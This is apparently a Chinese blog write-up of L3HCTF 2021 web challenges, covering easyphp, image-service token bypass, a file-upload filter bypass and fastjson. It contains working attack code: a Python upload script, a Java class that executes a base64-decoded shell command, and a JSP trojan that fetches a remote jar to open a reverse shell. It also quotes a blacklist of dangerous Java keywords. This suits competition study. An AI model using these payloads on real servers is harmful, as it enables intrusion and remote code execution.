2021l3ctf

easyphp

送分题
发现password没那么短,双击复制一下,然后urlencode

<?php
echo urlencode("‮⁦L3H⁩⁦password");
echo "\n";
echo urlencode("‮⁦CTF⁩⁦l3hctf");
?>

接下来发送即可

image-service1

share图片,注册了一下,发现a可以share到b的,然后admin不让注册,也不让share,但是试了一下,发现ADMIN也同样可以share到。。。

image-service2

看了半天,要想读到flag2就需要更改blur参数还有x,但是直接改的话,会说token不存在,所以觉得还是应该看看参数和uuid的关系是啥样的,正好附件里面有docker文件,起一个docker看看,正好学习一下如何弄这个玩意:

参考链接:https://cloud.tencent.com/developer/article/1169085
up  安装组下的容器集合默认的yml的文件名称是当前目录下的docker-compose.yml,如果需要指定:
docker-compose -f 文件名 up
docker-compose up -d 后台运行不显示日志pwd
curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://b81aace9.m.daocloud.io
sudo docker-compose -f docker-compose.yml up
img 需要注意的是,在配置env的时候,需要更改一些参数,踩坑主要也是在loc需要配置为你的服务器ip地址,但是在这里不知道为啥这样也起不了,但是1002的端口可以开启,所以就直接用了,这里确实没想到,其实直接查看docker的日志,看看get那边的值是如何传入的就行了,如何才能做到tooken一致

img

对比一下

img

img

首先我发了两次blur=20的 发现他们的tooken都是一样的,如下所示,当我更改值以后,他们的tooken就发生改变了,可以看到标黄的那段,那么要如何绕过呢,可以看到他经过了一个map处理,猜想这里的map是对里面的值进行计算然后得到一个tooken,那么如果我们可以做到输入blur:[20]在实际中其实又没有这个值,那就可以绕过了

image-service-nginx-1    | 211.97.128.174 - - [16/Nov/2021:09:59:50 +0000] "GET /get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-"
image-service-service-1 | map[blur:[20] text:[secret] textsize:[50] uuid:[4bb2c93b-b18f-42fc-97fc-ec5a3afbab64] x1:[200] y1:[200]]
image-service-service-1 | //c45fe4fc97e10d46273f8ab3a04233a313e2403e6fdf33bd1b4ab5fd24cc6bf1 9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907
image-service-service-1 | [GIN] 2021/11/16 - 09:59:50 | 403 | 62.594µs | 172.18.0.2 | GET "/get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200"



image-service-nginx-1 | 211.97.128.174 - - [16/Nov/2021:10:05:42 +0000] "GET /get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-"
image-service-service-1 | map[blur:[20] text:[secret] textsize:[50] uuid:[4bb2c93b-b18f-42fc-97fc-ec5a3afbab64] x1:[200] y1:[200]]
image-service-service-1 | //c45fe4fc97e10d46273f8ab3a04233a313e2403e6fdf33bd1b4ab5fd24cc6bf1 9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907
image-service-service-1 | [GIN] 2021/11/16 - 10:05:42 | 403 | 65.684µs | 172.18.0.2 | GET "/get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200"

211.97.128.174 - - [16/Nov/2021:10:07:26 +0000] "GET /get?blur=0&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=0&y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-"
image-service-service-1 | map[blur:[0] text:[secret] textsize:[50] uuid:[4bb2c93b-b18f-42fc-97fc-ec5a3afbab64] x1:[0] y1:[200]]
image-service-service-1 | //6c73f2e8bb98f6d40cc95e9d716a126e2fc6c320322df005cb1532c4a9ff3043 9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907
image-service-service-1 | [GIN] 2021/11/16 - 10:07:26 | 403 | 94.621µs | 172.18.0.2 | GET "/get?blur=0&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=0&y1=200"

211.97.128.174 - - [16/Nov/2021:10:14:55 +0000] "GET /get?blur:[20]%20text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1:[200]%20y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-"
image-service-service-1 | map[blur:[20] text:[secret] textsize:[50] uuid:[4bb2c93b-b18f-42fc-97fc-ec5a3afbab64] x1:[200] y1:[200]]
image-service-service-1 | //c45fe4fc97e10d46273f8ab3a04233a313e2403e6fdf33bd1b4ab5fd24cc6bf1 9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907
image-service-service-1 | [GIN] 2021/11/16 - 10:14:55 | 403 | 68.117µs | 172.18.0.2 | GET "/get?blur:[20]%20text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1:[200]%20y1=200"

可以看到最终的tooken和一开始输入blur20的是一样的,但是tooken没有发生改变,所以最终的payload是

get?blur:[20] text=secret&textsize=50&token=61cb06c63c5fb86303c40f4bfd2ea04aa9d7cf3067f8f886c8b30f4e547bc803&uuid=1293b342-b144-42ec-983d-96fba7c159b9&x1:[200] y1=200

bypass

一开始是文件后缀绕过,直接双写就可以了,问题在于后续正则匹配的绕过,这里提到,不能输入两个连续的字符串

public static boolean checkValidChars(String content) {
Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
Matcher matcher = pattern.matcher(content);
return matcher.find();
}

一开始是定位这里,看这个getString是否有什么特性,后面是没发现的,只知道他是将其作为string读入

String content = item.getString();

感觉之前的大师傅离成功应该是只有一步之遥了

1.当form中设置method="post" enctype="multipart/form-data"时才能正常上传。
2.commons-fileupload上传中如果form中的参数有中文,此时用item.getString()会出现乱码,必须用item.getString("UTF-8"),UTF-8为编码方式。

原文链接:https://blog.csdn.net/pg_guo/article/details/8753449

通过测试,我们可以发现,他是没有过滤汉字,那么汉字乱码肯定是可以绕过的,那我们就对文本使用其他编码形式,比如说当utf-16的文本,以utf-8的形式打开,那肯定是会变成乱码的,根据这个思路,就可以绕过了,写一个自动化脚本(已经有大师傅写过了)

import requests
def file_op(filename,filedata):
print("filename: ",filename)
print("filedata: ", filedata)
with open(filename,'wb') as f:
f.write(filedata)
r = requests.post('http://123.60.20.221:10001/UploadServlet', files={"filename": open(filename, "rb")})
print(r.text)
if "文件上传成功! 文件路径: /usr" in r.text:
url = "http://123.60.20.221:10001/" + r.text.replace(
"文件上传成功! 文件路径: /usr/local/apache-tomcat-8.5.72/webapps/ROOT/", "")
print(url)
r = requests.get(url)
print(r.text)
print(r.content)
return r.text

if __name__=="__main__":
filename="1.jjspsp"
filedata="""

""".encode('utf-16')
file_op(filename,filedata)

接下来就是绕过第二个黑名单,里面过滤了很多内容,在寻找绕过方式的时候,看到了很多有意思的方法,决定收藏一下,这里说一下Y4大师傅的解题方法

https://f5.pm/go-61281.html

他的黑名单实在多:

黑名单Runtime、\u、ScriptEngine、newInstance、ProcessBuilder、invoke、File、defineClass、lookup,JdbcRowSetImpl等

然后再次佩服一下大师傅们,太牛了,这里用到的方法是,使用UrlClassLoader与Class.forName在初始化对象时执行命令,首先学习下这两个包

UrlClassLoader:URLClassLoader 可以加载远程类库和本地路径的类库
#其实昨晚在做的时候有看到这个思路,但是当时发现有用到newInstance,所以就没往下继续想了,有点可惜
Class.forName:装载一个类并且对其进行实例化的操作,装载过程中使用到的类加载器是当前类
Class.forName(xxx.xx.xx)返回的是一个类。Class.forName(xxx.xx.xx)的作用是要求JVM查找并加载指定的类,也就是说JVM会执行该类的静态代码段
这里说说自己的理解:class.forname其实就是生成这个类的class

首先写一个恶意类,并打包jar上传服务器,这里在学习一下了,如何创建一个jar包。。。
https://www.hangge.com/blog/cache/detail_2750.html

贴一下恶意包的代码:

package com.tlif;
import java.io.IOException;
import java.io.UncheckedIOException;

public class bad_class {
static {
try{
Runtime.getRuntime().exec(new String[]{"bash","-c","echo xxxxx|base64 -d|sh"});
} catch (IOException e){
e.printStackTrace();
}
}
public static void main(String[] args){new bad_class();}
}

接下来将其打包成jar包上传至服务器(记得配置java环境,不然运行不了)
然后上传访问该jar包的jsp木马

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%
URL url = new URL("http://110.42.133.120/l3ctf_bp.jar");

URLClassLoader ucl = new URLClassLoader(new URL[]{url});

Class.forName("com.tlif.bad_class",true,ucl);

%>

接下来访问jsp文件,即可反弹shell

fastjson

比赛的时候看都看没看的一道题,所以贴一下别人的wp收藏一下

Author

vague huang

Posted on

2021-11-14

Updated on

2021-11-16

Licensed under

Comments